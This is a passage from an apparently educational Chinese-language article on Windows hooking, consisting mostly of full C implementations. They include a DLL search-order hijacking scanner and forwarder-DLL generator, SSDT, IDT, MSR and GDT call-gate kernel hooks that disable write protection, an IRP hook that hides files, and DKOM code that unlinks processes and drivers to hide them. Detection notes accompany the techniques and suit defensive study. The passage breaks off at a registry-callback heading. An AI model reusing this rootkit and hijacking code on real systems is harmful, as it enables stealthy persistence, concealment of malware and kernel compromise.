    BYTE* importPtr = NULL;
    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (importRva >= pSec[i].VirtualAddress &&
            importRva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
            importPtr = (BYTE*)pBase + importRva - pSec[i].VirtualAddress + pSec[i].PointerToRawData;
            break;
        }
    }
    if (!importPtr) goto cleanup;

    // KnownDlls: 这些 DLL 受系统保护,无法通过搜索顺序劫持
    const char* knownDlls[] = {
        "kernel32.dll", "ntdll.dll", "user32.dll", "gdi32.dll", "advapi32.dll",
        "shell32.dll", "ole32.dll", "oleaut32.dll", "msvcrt.dll", "ws2_32.dll",
        "comctl32.dll", "comdlg32.dll", "rpcrt4.dll", "secur32.dll", "shlwapi.dll",
        "setupapi.dll", "cfgmgr32.dll", "imm32.dll", "normaliz.dll", NULL
    };

    WCHAR exeDir[MAX_PATH];
    wcscpy_s(exeDir, MAX_PATH, pePath);
    WCHAR* lastSlash = wcsrchr(exeDir, L'\\');
    if (lastSlash) *lastSlash = L'\0';

    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)importPtr;
    while (pImport->Name && found < maxResults) {
        DWORD nameRva = pImport->Name;
        char* dllNameA = NULL;
        for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
            if (nameRva >= pSec[i].VirtualAddress &&
                nameRva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
                dllNameA = (char*)((BYTE*)pBase + nameRva - pSec[i].VirtualAddress + pSec[i].PointerToRawData);
                break;
            }
        }
        if (!dllNameA) { pImport++; continue; }

        // 跳过 KnownDlls
        BOOL isKnown = FALSE;
        for (int k = 0; knownDlls[k]; k++)
            if (_stricmp(dllNameA, knownDlls[k]) == 0) { isKnown = TRUE; break; }

        if (!isKnown) {
            WCHAR dllNameW[MAX_PATH];
            MultiByteToWideChar(CP_ACP, 0, dllNameA, -1, dllNameW, MAX_PATH);

            // 检查应用目录是否已有该 DLL(已有则不是劫持机会)
            WCHAR testPath[MAX_PATH];
            swprintf_s(testPath, MAX_PATH, L"%s\\%s", exeDir, dllNameW);

            if (GetFileAttributesW(testPath) == INVALID_FILE_ATTRIBUTES) {
                wcscpy_s(results[found].dllName, MAX_PATH, dllNameW);
                wcscpy_s(results[found].plantPath, MAX_PATH, testPath);
                found++;
            }
        }
        pImport++;
    }

cleanup:
    UnmapViewOfFile(pBase);
    CloseHandle(hMapping);
    CloseHandle(hFile);
    return found;
}

// 生成转发 DLL 的 .def 文件(所有导出转发到原始 DLL)
BOOL GenerateForwarderDef(const WCHAR* originalDllPath, const WCHAR* outputDefPath) {
    HMODULE hMod = LoadLibraryExW(originalDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (!hMod) return FALSE;

    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hMod;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hMod + pDos->e_lfanew);
    DWORD exportRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!exportRva) { FreeLibrary(hMod); return FALSE; }

    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hMod + exportRva);
    DWORD* nameRvas = (DWORD*)((BYTE*)hMod + pExport->AddressOfNames);

    FILE* defFile = _wfopen(outputDefPath, L"w");
    if (!defFile) { FreeLibrary(hMod); return FALSE; }

    // 获取原始 DLL 名(不含扩展名)用于转发
    char origName[64];
    WideCharToMultiByte(CP_ACP, 0, wcsrchr(originalDllPath, L'\\') + 1, -1, origName, 64, NULL, NULL);
    char* dot = strrchr(origName, '.'); if (dot) *dot = '\0';

    fprintf(defFile, "EXPORTS\n");
    for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
        char* funcName = (char*)((BYTE*)hMod + nameRvas[i]);
        // 转发格式: FuncName = OriginalDll_orig.FuncName
        fprintf(defFile, "    %s = %s_orig.%s\n", funcName, origName, funcName);
    }

    fclose(defFile);
    FreeLibrary(hMod);
    return TRUE;
}

// 运行时检测:发现当前进程中被劫持的 DLL
void DetectHijackedModules() {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
    if (hSnap == INVALID_HANDLE_VALUE) return;

    WCHAR sysDir[MAX_PATH];
    GetSystemDirectoryW(sysDir, MAX_PATH);

    MODULEENTRY32W me = { sizeof(me) };
    if (Module32FirstW(hSnap, &me)) {
        do {
            // 如果模块不在系统目录中
            if (wcsstr(me.szExePath, sysDir) == NULL) {
                // 但系统目录中存在同名文件 -> 可能是劫持
                WCHAR expectedPath[MAX_PATH];
                swprintf_s(expectedPath, MAX_PATH, L"%s\\%s", sysDir, me.szModule);
                if (GetFileAttributesW(expectedPath) != INVALID_FILE_ATTRIBUTES) {
                    wprintf(L"[HIJACK DETECTED] %s\n  Loaded: %s\n  Expected: %s\n",
                        me.szModule, me.szExePath, expectedPath);
                }
            }
        } while (Module32NextW(hSnap, &me));
    }
    CloseHandle(hSnap);
}

int wmain(int argc, WCHAR* argv[]) {
    if (argc < 2) {
        wprintf(L"DLL Search Order Hijacking Tool\n\n");
        wprintf(L"Usage:\n");
        wprintf(L"  hijack scan <target.exe>    - Find hijack opportunities\n");
        wprintf(L"  hijack def <dll> <out.def>  - Generate forwarder .def\n");
        wprintf(L"  hijack detect               - Check current process\n");
        return 1;
    }

    if (_wcsicmp(argv[1], L"scan") == 0 && argc >= 3) {
        HIJACK_OPPORTUNITY results[512];
        DWORD count = AnalyzeImports(argv[2], results, 512);
        wprintf(L"\nFound %lu hijackable DLLs for %s:\n\n", count, argv[2]);
        for (DWORD i = 0; i < count; i++)
            wprintf(L"  %-30s -> %s\n", results[i].dllName, results[i].plantPath);
    } else if (_wcsicmp(argv[1], L"def") == 0 && argc >= 4) {
        if (GenerateForwarderDef(argv[2], argv[3]))
            wprintf(L"Generated: %s\nCompile: cl /LD proxy.c /DEF:%s\n", argv[3], argv[3]);
        else
            wprintf(L"Failed to generate .def\n");
    } else if (_wcsicmp(argv[1], L"detect") == 0) {
        wprintf(L"Scanning loaded modules...\n");
        DetectHijackedModules();
    }

    return 0;
}

检测方法

  • 对比模块加载路径与预期系统路径
  • 扫描应用目录中与系统 DLL 同名的可疑文件
  • DLL 数字签名验证(合法系统 DLL 都有微软签名)
  • 启用 SafeDllSearchMode(默认开启)降低 CWD 搜索优先级
  • HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 保护核心 DLL
  • 使用 Process Monitor 观察 DLL 加载失败路径(NAME NOT FOUND)

第二层:内核态 Hook(Ring 0)— 传统手段

进入内核态后,Hook 的威力和隐蔽性都大幅提升,但同时要面对 PatchGuard 这个“巡逻兵”。以下这些传统内核 Hook 技术在 Windows XP/7 时代是主流,但在 Win10+ 环境下大部分已经被 PatchGuard 监控。在 云栈社区 的安全板块中,经常能看到关于这些经典技术与现代防护机制对抗的深度讨论。

2.1 SSDT Hook(系统服务描述符表 Hook)

原理

SSDT(System Service Descriptor Table)是内核中的一张函数指针表,syscall 进入内核后通过 SSN 索引到这张表找到对应的内核函数。修改表项即可拦截所有系统调用。

完整实现

#include <ntddk.h>

typedef struct _KSERVICE_TABLE_DESCRIPTOR {
    PLONG Base;            // 函数偏移表基地址(Win64 存的是相对偏移)
    PULONG Count;          // 调用计数表
    ULONG Limit;           // 最大服务号
    PUCHAR Number;         // 参数字节数表
} KSERVICE_TABLE_DESCRIPTOR, *PKSERVICE_TABLE_DESCRIPTOR;

// KeServiceDescriptorTable 是导出符号(仅 x86),x64 需要手动定位
extern PKSERVICE_TABLE_DESCRIPTOR KeServiceDescriptorTable;

// 定位 SSDT(x64 方式:通过 KiSystemServiceRepeat 签名扫描)
PVOID FindSsdtBase() {
    // KiSystemCall64 中的特征码搜索
    // 4C 8D 15 XX XX XX XX  lea r10, [KeServiceDescriptorTable]
    ULONG64 kiSystemCall = __readmsr(0xC0000082); // IA32_LSTAR

    // 从 KiSystemCall64 开始扫描特征码
    for (ULONG i = 0; i < 0x500; i++) {
        // 寻找 lea r10, [rip + offset] (4C 8D 15)
        if (*(USHORT*)((BYTE*)kiSystemCall + i) == 0x8D4C &&
            *((BYTE*)kiSystemCall + i + 2) == 0x15) {
            INT32 offset = *(INT32*)((BYTE*)kiSystemCall + i + 3);
            PVOID ssdt = (PVOID)((BYTE*)kiSystemCall + i + 7 + offset);
            return ssdt;
        }
    }
    return NULL;
}

// 读取 SSDT 中某个 SSN 对应的内核函数地址
PVOID GetSsdtFunctionAddress(ULONG ssn) {
    PKSERVICE_TABLE_DESCRIPTOR ssdt = (PKSERVICE_TABLE_DESCRIPTOR)FindSsdtBase();
    if (!ssdt || ssn >= ssdt->Limit) return NULL;

    LONG offset = ssdt->Base[ssn] >> 4;
    return (PVOID)((BYTE*)ssdt->Base + offset);
}

// 修改 SSDT 条目(需要关闭写保护)
NTSTATUS HookSsdtEntry(ULONG ssn, PVOID hookFunction, PVOID* originalFunction) {
    PKSERVICE_TABLE_DESCRIPTOR ssdt = (PKSERVICE_TABLE_DESCRIPTOR)FindSsdtBase();
    if (!ssdt || ssn >= ssdt->Limit) return STATUS_INVALID_PARAMETER;

    // 保存原始函数地址
    LONG origOffset = ssdt->Base[ssn] >> 4;
    *originalFunction = (PVOID)((BYTE*)ssdt->Base + origOffset);

    // 计算新的偏移
    LONG newOffset = (LONG)((BYTE*)hookFunction - (BYTE*)ssdt->Base);
    LONG newEntry = (newOffset << 4) | (ssdt->Base[ssn] & 0xF); // 保留低4位

    // 关闭 CR0.WP 位(禁用写保护)
    ULONG64 cr0 = __readcr0();
    __writecr0(cr0 & ~0x10000);

    // 关中断防止竞态
    _disable();

    // 写入新偏移
    InterlockedExchange(&ssdt->Base[ssn], newEntry);

    _enable();
    __writecr0(cr0);

    return STATUS_SUCCESS;
}

// Hook 函数示例:拦截 NtOpenProcess
typedef NTSTATUS(*fnNtOpenProcess)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID);
fnNtOpenProcess OriginalNtOpenProcess = NULL;

NTSTATUS HookedNtOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId) {
    // 保护特定进程
    if (ClientId && ClientId->UniqueProcess == (HANDLE)g_protectedPid) {
        return STATUS_ACCESS_DENIED;
    }
    return OriginalNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
}

检测难度:★★☆☆☆(PatchGuard 必杀)

PatchGuard 直接监控 SSDT,定期对比校验和。一旦发现修改 → 延迟蓝屏(故意随机延迟使调试困难)。

历史地位

  • Windows XP/7 时代的内核 Hook 之王
  • 几乎所有安全软件(杀毒/防火墙/HIPS)都用过
  • Win8+ 之后被 PatchGuard 彻底封杀出历史舞台

2.2 IDT Hook(中断描述符表 Hook)

原理

IDT(Interrupt Descriptor Table)存储着中断/异常处理器的入口。修改 IDT 条目可以拦截特定中断,比如 int 0x2E(旧版系统调用入口)、int 0x03(断点)、int 0x0E(缺页异常)。

完整实现

#include <ntddk.h>

#pragma pack(push, 1)
typedef struct _IDTENTRY64 {
    USHORT OffsetLow;      // 目标函数地址低16位
    USHORT Selector;       // 代码段选择器
    USHORT Ist : 3;        // IST 索引
    USHORT Reserved0 : 5;
    USHORT Type : 4;       // 门类型 (0xE = 中断门)
    USHORT Reserved1 : 1;
    USHORT Dpl : 2;        // 描述符特权级
    USHORT Present : 1;    // 存在位
    USHORT OffsetMid;      // 中16位
    ULONG  OffsetHigh;     // 高32位
    ULONG  Reserved2;
} IDTENTRY64, *PIDTENTRY64;

typedef struct _IDTR {
    USHORT Limit;
    ULONG64 Base;
} IDTR;
#pragma pack(pop)

// 获取当前 CPU 的 IDT 基地址
PIDTENTRY64 GetIdtBase() {
    IDTR idtr;
    __sidt(&idtr);
    return (PIDTENTRY64)idtr.Base;
}

// 从 IDT 条目中提取完整的处理器地址
ULONG64 GetIdtHandlerAddress(PIDTENTRY64 entry) {
    return (ULONG64)entry->OffsetLow |
           ((ULONG64)entry->OffsetMid << 16) |
           ((ULONG64)entry->OffsetHigh << 32);
}

// 设置 IDT 条目的处理器地址
void SetIdtHandlerAddress(PIDTENTRY64 entry, ULONG64 newHandler) {
    entry->OffsetLow  = (USHORT)(newHandler & 0xFFFF);
    entry->OffsetMid  = (USHORT)((newHandler >> 16) & 0xFFFF);
    entry->OffsetHigh = (ULONG)((newHandler >> 32) & 0xFFFFFFFF);
}

// Hook 特定中断向量
ULONG64 g_originalInt1Handler = 0;

void HookIdtVector(UCHAR vector, PVOID newHandler) {
    PIDTENTRY64 idt = GetIdtBase();
    PIDTENTRY64 entry = &idt[vector];

    // 保存原始处理器
    g_originalInt1Handler = GetIdtHandlerAddress(entry);

    // 关中断
    _disable();

    // 修改处理器地址
    SetIdtHandlerAddress(entry, (ULONG64)newHandler);

    _enable();
}

// 注意:x64 上 IDT Hook 需要对每个 CPU 核心都做修改
void HookIdtOnAllCpus(UCHAR vector, PVOID handler) {
    ULONG numCpus = KeQueryActiveProcessorCountEx(ALL_PROCESSOR_GROUPS);

    for (ULONG i = 0; i < numCpus; i++) {
        PROCESSOR_NUMBER procNum;
        KeGetProcessorNumberFromIndex(i, &procNum);

        GROUP_AFFINITY affinity = {0};
        affinity.Group = procNum.Group;
        affinity.Mask = 1ULL << procNum.Number;

        GROUP_AFFINITY oldAffinity;
        KeSetSystemGroupAffinityThread(&affinity, &oldAffinity);

        HookIdtVector(vector, handler);

        KeRevertToUserGroupAffinityThread(&oldAffinity);
    }
}

检测难度:★★☆☆☆(PatchGuard 必杀)

PatchGuard 同样监控 IDT。而且 IDT 是每个 CPU 核心独立的,要 Hook 必须修改所有核心的 IDT,增加了暴露面。

2.3 IRP Hook(I/O 请求包 Hook)

原理

Windows 驱动使用 IRP(I/O Request Packet)进行通信。每个驱动对象(DRIVER_OBJECT)有一个 MajorFunction 数组,存放了 28 种 IRP 处理函数的指针。替换这些指针即可拦截所有发往该驱动的 I/O 操作。

完整实现

#include <ntddk.h>

typedef struct _IRP_HOOK {
    PDRIVER_OBJECT targetDriver;
    ULONG majorFunction;
    PDRIVER_DISPATCH originalDispatch;
    PDRIVER_DISPATCH hookDispatch;
} IRP_HOOK;

#define MAX_IRP_HOOKS 16
IRP_HOOK g_irpHooks[MAX_IRP_HOOKS] = {0};
int g_irpHookCount = 0;

// 获取驱动对象
NTSTATUS GetDriverObjectByName(PUNICODE_STRING driverName, PDRIVER_OBJECT* ppDriver) {
    return ObReferenceObjectByName(
        driverName,
        OBJ_CASE_INSENSITIVE,
        NULL,
        0,
        *IoDriverObjectType,
        KernelMode,
        NULL,
        (PVOID*)ppDriver
    );
}

// Hook 某个驱动的特定 IRP 处理函数
NTSTATUS InstallIrpHook(PUNICODE_STRING driverName, ULONG majorFunc, PDRIVER_DISPATCH hookFunc) {
    PDRIVER_OBJECT pDriver = NULL;
    NTSTATUS status = GetDriverObjectByName(driverName, &pDriver);
    if (!NT_SUCCESS(status)) return status;

    if (g_irpHookCount >= MAX_IRP_HOOKS) {
        ObDereferenceObject(pDriver);
        return STATUS_INSUFFICIENT_RESOURCES;
    }

    IRP_HOOK* hook = &g_irpHooks[g_irpHookCount];
    hook->targetDriver = pDriver;
    hook->majorFunction = majorFunc;
    hook->originalDispatch = pDriver->MajorFunction[majorFunc];
    hook->hookDispatch = hookFunc;

    // 原子替换函数指针
    InterlockedExchangePointer(
        (PVOID*)&pDriver->MajorFunction[majorFunc],
        hookFunc
    );

    g_irpHookCount++;
    return STATUS_SUCCESS;
}

// 卸载 IRP Hook
void RemoveIrpHook(int index) {
    if (index >= g_irpHookCount) return;
    IRP_HOOK* hook = &g_irpHooks[index];

    InterlockedExchangePointer(
        (PVOID*)&hook->targetDriver->MajorFunction[hook->majorFunction],
        hook->originalDispatch
    );

    ObDereferenceObject(hook->targetDriver);
}

// 示例:Hook NTFS 驱动的文件创建操作(隐藏文件)
NTSTATUS HookedNtfsCreate(PDEVICE_OBJECT DevObj, PIRP Irp) {
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);
    PFILE_OBJECT fileObj = irpSp->FileObject;

    if (fileObj && fileObj->FileName.Buffer) {
        // 检查是否是要隐藏的文件
        if (wcsstr(fileObj->FileName.Buffer, L"secret.dat")) {
            Irp->IoStatus.Status = STATUS_OBJECT_NAME_NOT_FOUND;
            Irp->IoStatus.Information = 0;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_OBJECT_NAME_NOT_FOUND;
        }
    }

    // 放行其他请求
    return g_irpHooks[0].originalDispatch(DevObj, Irp);
}

// 安装示例
void InstallNtfsHook() {
    UNICODE_STRING ntfsDriver = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");
    InstallIrpHook(&ntfsDriver, IRP_MJ_CREATE, HookedNtfsCreate);
}

检测难度:★★★☆☆

  • PatchGuard 不直接检测驱动的 MajorFunction 表
  • 但安全软件可以对比驱动对象的 MajorFunction 指针是否指向该驱动的地址范围
  • Minifilter 框架是官方替代方案,更难被检测

2.4 DKOM(直接内核对象操作)

原理

DKOM 不是传统意义上的“Hook”,而是通过直接修改内核数据结构来隐藏进程、驱动、端口等。把目标进程从 ActiveProcessLinks 双向链表中摘除,进程管理器就看不见了。

完整实现

#include <ntddk.h>

// 动态获取 ActiveProcessLinks 偏移
ULONG GetActiveProcessLinksOffset() {
    // 方法:找到 System 进程(PID=4),通过 PsGetProcessId 验证
    PEPROCESS systemProcess = PsInitialSystemProcess;

    // 遍历 EPROCESS 寻找 PID=4 的偏移
    for (ULONG offset = 0; offset < 0x800; offset += sizeof(PVOID)) {
        if (*(HANDLE*)((BYTE*)systemProcess + offset) == (HANDLE)4) {
            // 找到 UniqueProcessId 偏移
            // ActiveProcessLinks 通常紧随其后(+8)
            PLIST_ENTRY pList = (PLIST_ENTRY)((BYTE*)systemProcess + offset + 8);
            // 验证:链表应该指向其他 EPROCESS
            if (MmIsAddressValid(pList->Flink) && MmIsAddressValid(pList->Blink)) {
                return offset + 8;
            }
        }
    }
    return 0;
}

// 隐藏进程
NTSTATUS HideProcess(ULONG targetPid) {
    PEPROCESS process;
    NTSTATUS status = PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)targetPid, &process);
    if (!NT_SUCCESS(status)) return status;

    ULONG offset = GetActiveProcessLinksOffset();
    if (offset == 0) {
        ObDereferenceObject(process);
        return STATUS_UNSUCCESSFUL;
    }

    PLIST_ENTRY pList = (PLIST_ENTRY)((BYTE*)process + offset);

    // 从双向链表中摘除(需要锁保护)
    KIRQL oldIrql;
    KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);

    PLIST_ENTRY prev = pList->Blink;
    PLIST_ENTRY next = pList->Flink;
    prev->Flink = next;
    next->Blink = prev;

    // 指向自己,防止后续遍历崩溃
    pList->Flink = pList;
    pList->Blink = pList;

    KeLowerIrql(oldIrql);
    ObDereferenceObject(process);
    return STATUS_SUCCESS;
}

// 隐藏驱动(从 PsLoadedModuleList 摘除)
NTSTATUS HideDriver(PDRIVER_OBJECT driverObject) {
    typedef struct _KLDR_DATA_TABLE_ENTRY {
        LIST_ENTRY InLoadOrderLinks;
        PVOID ExceptionTable;
        ULONG ExceptionTableSize;
        PVOID GpValue;
        PVOID NonPagedDebugInfo;
        PVOID ImageBase;
        PVOID EntryPoint;
        ULONG ImageSize;
        UNICODE_STRING FullImageName;
        UNICODE_STRING BaseImageName;
        // ...
    } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

    PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)driverObject->DriverSection;
    if (!entry) return STATUS_UNSUCCESSFUL;

    KIRQL oldIrql;
    KeRaiseIrql(DISPATCH_LEVEL, &oldIrql);

    // 从链表摘除
    RemoveEntryList(&entry->InLoadOrderLinks);
    entry->InLoadOrderLinks.Flink = &entry->InLoadOrderLinks;
    entry->InLoadOrderLinks.Blink = &entry->InLoadOrderLinks;

    KeLowerIrql(oldIrql);
    return STATUS_SUCCESS;
}

// 隐藏网络端口(修改 NSI 表或 Hook tcpip.sys)
// 这个比较复杂,通常通过 Hook tcpip.sys 的 nsiEnumerateObjectsAllParameters 实现

检测难度:★★★☆☆

  • 进程虽然从链表摘除,但通过 CID 表(PspCidTable)、线程调度队列仍可找到
  • PatchGuard 会检查 PsActiveProcessHead 链表完整性
  • 内存取证工具可以通过物理内存扫描 EPROCESS 的 Pool Tag 发现隐藏进程

2.5 MSR Hook(IA32_LSTAR 劫持)

原理

x64 Windows 执行 syscall 指令时,CPU 从 IA32_LSTAR(MSR 0xC0000082)读取内核入口地址(KiSystemCall64)。修改这个 MSR 值,所有系统调用都会先经过你的函数。

完整实现

#include <ntddk.h>
#include <intrin.h>

#define MSR_LSTAR 0xC0000082

ULONG64 g_originalKiSystemCall64 = 0;
ULONG g_targetSsn = 0;
PVOID g_hookHandler = NULL;

// 在所有 CPU 上安装 MSR Hook
typedef struct _MSR_HOOK_DPC_CONTEXT {
    ULONG64 newLstar;
} MSR_HOOK_DPC_CONTEXT;

VOID MsrHookDpcRoutine(PKDPC Dpc, PVOID Context, PVOID Arg1, PVOID Arg2) {
    MSR_HOOK_DPC_CONTEXT* ctx = (MSR_HOOK_DPC_CONTEXT*)Context;
    __writemsr(MSR_LSTAR, ctx->newLstar);
    KeSignalCallDpcSynchronize(Arg2);
    KeSignalCallDpcDone(Arg1);
}

NTSTATUS InstallMsrHook() {
    g_originalKiSystemCall64 = __readmsr(MSR_LSTAR);

    MSR_HOOK_DPC_CONTEXT ctx;
    ctx.newLstar = (ULONG64)HookKiSystemCall64;

    // 在所有 CPU 上同时修改 MSR
    KeGenericCallDpc(MsrHookDpcRoutine, &ctx);

    return STATUS_SUCCESS;
}

NTSTATUS RemoveMsrHook() {
    MSR_HOOK_DPC_CONTEXT ctx;
    ctx.newLstar = g_originalKiSystemCall64;
    KeGenericCallDpc(MsrHookDpcRoutine, &ctx);
    return STATUS_SUCCESS;
}

检测难度:★★☆☆☆(PatchGuard 监控)

  • 威力无比——一个 Hook 拦截所有系统调用
  • 但 PatchGuard 直接检查 IA32_LSTAR
  • rdmsr 指令在 Ring 0 可以直接读取,非常容易检测

2.6 GDT/Call Gate Hook

原理

通过在 GDT(全局描述符表)中创建 Call Gate,用户态程序可以通过 call far 指令直接跳转到内核态指定地址,绕过 syscall 路径。也可以修改现有 GDT 条目来劫持段切换。

完整实现

#include <ntddk.h>

#pragma pack(push, 1)
typedef struct _CALL_GATE_DESCRIPTOR {
    USHORT OffsetLow;
    USHORT Selector;
    BYTE   Ist;
    BYTE   Attributes;    // P=1, DPL=3, Type=0xC (64-bit Call Gate)
    USHORT OffsetMid;
    ULONG  OffsetHigh;
    ULONG  Reserved;
} CALL_GATE_DESCRIPTOR;

typedef struct _GDTR {
    USHORT Limit;
    ULONG64 Base;
} GDTR;
#pragma pack(pop)

// 定义 Ring 0 代码段选择器
#define KGDT64_R0_CODE 0x10

// 获取 GDT 基址
PVOID GetGdtBase() {
    GDTR gdtr;
    _sgdt(&gdtr);
    return (PVOID)gdtr.Base;
}

// 在 GDT 中找到空闲 slot
int FindFreeGdtSlot() {
    GDTR gdtr;
    _sgdt(&gdtr);

    ULONG64* gdt = (ULONG64*)gdtr.Base;
    int maxSlots = (gdtr.Limit + 1) / 16; // Call Gate 占 16 字节

    // 从 slot 10 开始找(前面的被系统使用)
    for (int i = 10; i < maxSlots; i++) {
        // 检查 Present 位
        if ((gdt[i * 2] & (1ULL << 47)) == 0) {
            return i;
        }
    }
    return -1;
}

// 安装 Call Gate
USHORT InstallCallGate(PVOID kernelHandler) {
    int slot = FindFreeGdtSlot();
    if (slot < 0) return 0;

    CALL_GATE_DESCRIPTOR gate = {0};
    gate.OffsetLow  = (USHORT)((ULONG64)kernelHandler & 0xFFFF);
    gate.Selector   = KGDT64_R0_CODE;
    gate.Ist        = 0;
    gate.Attributes = 0xEC; // Present=1, DPL=3, Type=0xC (64-bit Call Gate)
    gate.OffsetMid  = (USHORT)(((ULONG64)kernelHandler >> 16) & 0xFFFF);
    gate.OffsetHigh = (ULONG)(((ULONG64)kernelHandler >> 32) & 0xFFFFFFFF);
    gate.Reserved   = 0;

    // 写入 GDT
    PVOID gdtBase = GetGdtBase();
    ULONG64 cr0 = __readcr0();
    __writecr0(cr0 & ~0x10000); // 关闭写保护

    memcpy((BYTE*)gdtBase + slot * 16, &gate, sizeof(gate));

    __writecr0(cr0);

    // 返回选择器(slot * 8 + RPL=3)
    return (USHORT)(slot * 8 + 3);
}

// 用户态调用方式(需要内联汇编或 shellcode)
// call far [selector:0]
// 其中 selector 是 InstallCallGate 返回的值

检测难度:★★☆☆☆(PatchGuard 监控)

PatchGuard 监控 GDT。而且现代 Windows 几乎不使用 Call Gate,出现一个就极其可疑。

第三层:内核态 Hook(Ring 0)— 高级手段

这一层的技术大多利用了 Windows 合法的内核回调机制或巧妙的绕过策略,不直接修改被 PatchGuard 监控的关键结构,因此在现代 Windows 上仍有生存空间。

3.1 Kernel Callback / Notify Routine(内核回调机制)

原理

Windows 内核提供了大量官方回调注册 API,用于监控系统事件。这不算真正的“Hook”,但效果类似——你能在关键事件发生时执行自定义代码。

完整实现

#include <ntddk.h>
#include <fltKernel.h>

// ========== 进程/线程/镜像回调 ==========

void ProcessNotifyCallback(PEPROCESS Process, HANDLE ProcessId,
    PPS_CREATE_NOTIFY_INFO CreateInfo) {
    if (CreateInfo) {
        // 进程创建
        DbgPrint("[Hook] Process created: PID=%lu Image=%wZ\n",
            (ULONG)(ULONG_PTR)ProcessId, CreateInfo->ImageFileName);

        // 可以阻止进程创建
        if (CreateInfo->ImageFileName &&
            wcsstr(CreateInfo->ImageFileName->Buffer, L"malware.exe")) {
            CreateInfo->CreationStatus = STATUS_ACCESS_DENIED;
        }
    } else {
        // 进程退出
        DbgPrint("[Hook] Process exited: PID=%lu\n", (ULONG)(ULONG_PTR)ProcessId);
    }
}

void ThreadNotifyCallback(HANDLE ProcessId, HANDLE ThreadId, BOOLEAN Create) {
    if (Create) {
        // 可以在这里记录线程创建,或阻止远程线程注入
        PEPROCESS targetProcess;
        PsLookupProcessByProcessId(ProcessId, &targetProcess);
        if (targetProcess == g_protectedProcess && PsGetCurrentProcess() != targetProcess) {
            // 外部进程在我们保护的进程中创建线程 — 可能是注入
            DbgPrint("[Hook] Remote thread injection detected!\n");
        }
        if (targetProcess) ObDereferenceObject(targetProcess);
    }
}

void ImageLoadCallback(PUNICODE_STRING FullImageName, HANDLE ProcessId,
    PIMAGE_INFO ImageInfo) {
    // DLL 加载通知
    if (FullImageName && ProcessId == g_targetPid) {
        DbgPrint("[Hook] Image loaded in target: %wZ @ %p\n",
            FullImageName, ImageInfo->ImageBase);
    }
}

// ========== ObRegisterCallbacks(句柄操作拦截)==========

OB_PREOP_CALLBACK_STATUS ProcessHandlePreCallback(
    PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpInfo) {

    PEPROCESS targetProcess = (PEPROCESS)OpInfo->Object;
    HANDLE targetPid = PsGetProcessId(targetProcess);

    // 保护指定进程:剥离危险权限
    if (targetPid == g_protectedPid && PsGetCurrentProcess() != targetProcess) {
        if (OpInfo->Operation == OB_OPERATION_HANDLE_CREATE) {
            // 剥离读写内存、终止进程的权限
            OpInfo->Parameters->CreateHandleInformation.DesiredAccess &=
                ~(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
                  PROCESS_TERMINATE | PROCESS_SUSPEND_RESUME);
        }
        if (OpInfo->Operation == OB_OPERATION_HANDLE_DUPLICATE) {
            OpInfo->Parameters->DuplicateHandleInformation.DesiredAccess &=
                ~(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_TERMINATE);
        }
    }
    return OB_PREOP_SUCCESS;
}

NTSTATUS RegisterObCallbacks(PVOID* pHandle) {
    OB_CALLBACK_REGISTRATION obReg = {0};
    OB_OPERATION_REGISTRATION opReg[2] = {0};

    opReg[0].ObjectType = PsProcessType;
    opReg[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
    opReg[0].PreOperation = ProcessHandlePreCallback;

    opReg[1].ObjectType = PsThreadType;
    opReg[1].Operations = OB_OPERATION_HANDLE_CREATE;
    opReg[1].PreOperation = ProcessHandlePreCallback;

    obReg.Version = OB_FLT_REGISTRATION_VERSION;
    obReg.OperationRegistrationCount = 2;
    obReg.OperationRegistration = opReg;

    // Altitude 决定回调优先级(需要唯一值)
    RtlInitUnicodeString(&obReg.Altitude, L"321000");

    return ObRegisterCallbacks(&obReg, pHandle);
}

// ========== Minifilter(文件系统回调)==========

FLT_PREOP_CALLBACK_STATUS PreCreateCallback(
    PFLT_CALLBACK_DATA Data, PCFLT_RELATED_OBJECTS FltObjects,
    PVOID* CompletionContext) {

    PFLT_FILE_NAME_INFORMATION nameInfo;
    if (NT_SUCCESS(FltGetFileNameInformation(Data,
        FLT_FILE_NAME_NORMALIZED | FLT_FILE_NAME_QUERY_DEFAULT, &nameInfo))) {

        FltParseFileNameInformation(nameInfo);

        // 隐藏特定文件
        if (wcsstr(nameInfo->Name.Buffer, L"hidden_file.dat")) {
            FltReleaseFileNameInformation(nameInfo);
            Data->IoStatus.Status = STATUS_OBJECT_NAME_NOT_FOUND;
            return FLT_PREOP_COMPLETE;
        }
        FltReleaseFileNameInformation(nameInfo);
    }
    return FLT_PREOP_SUCCESS_NO_CALLBACK;
}

// ========== 注册表回调 ==========

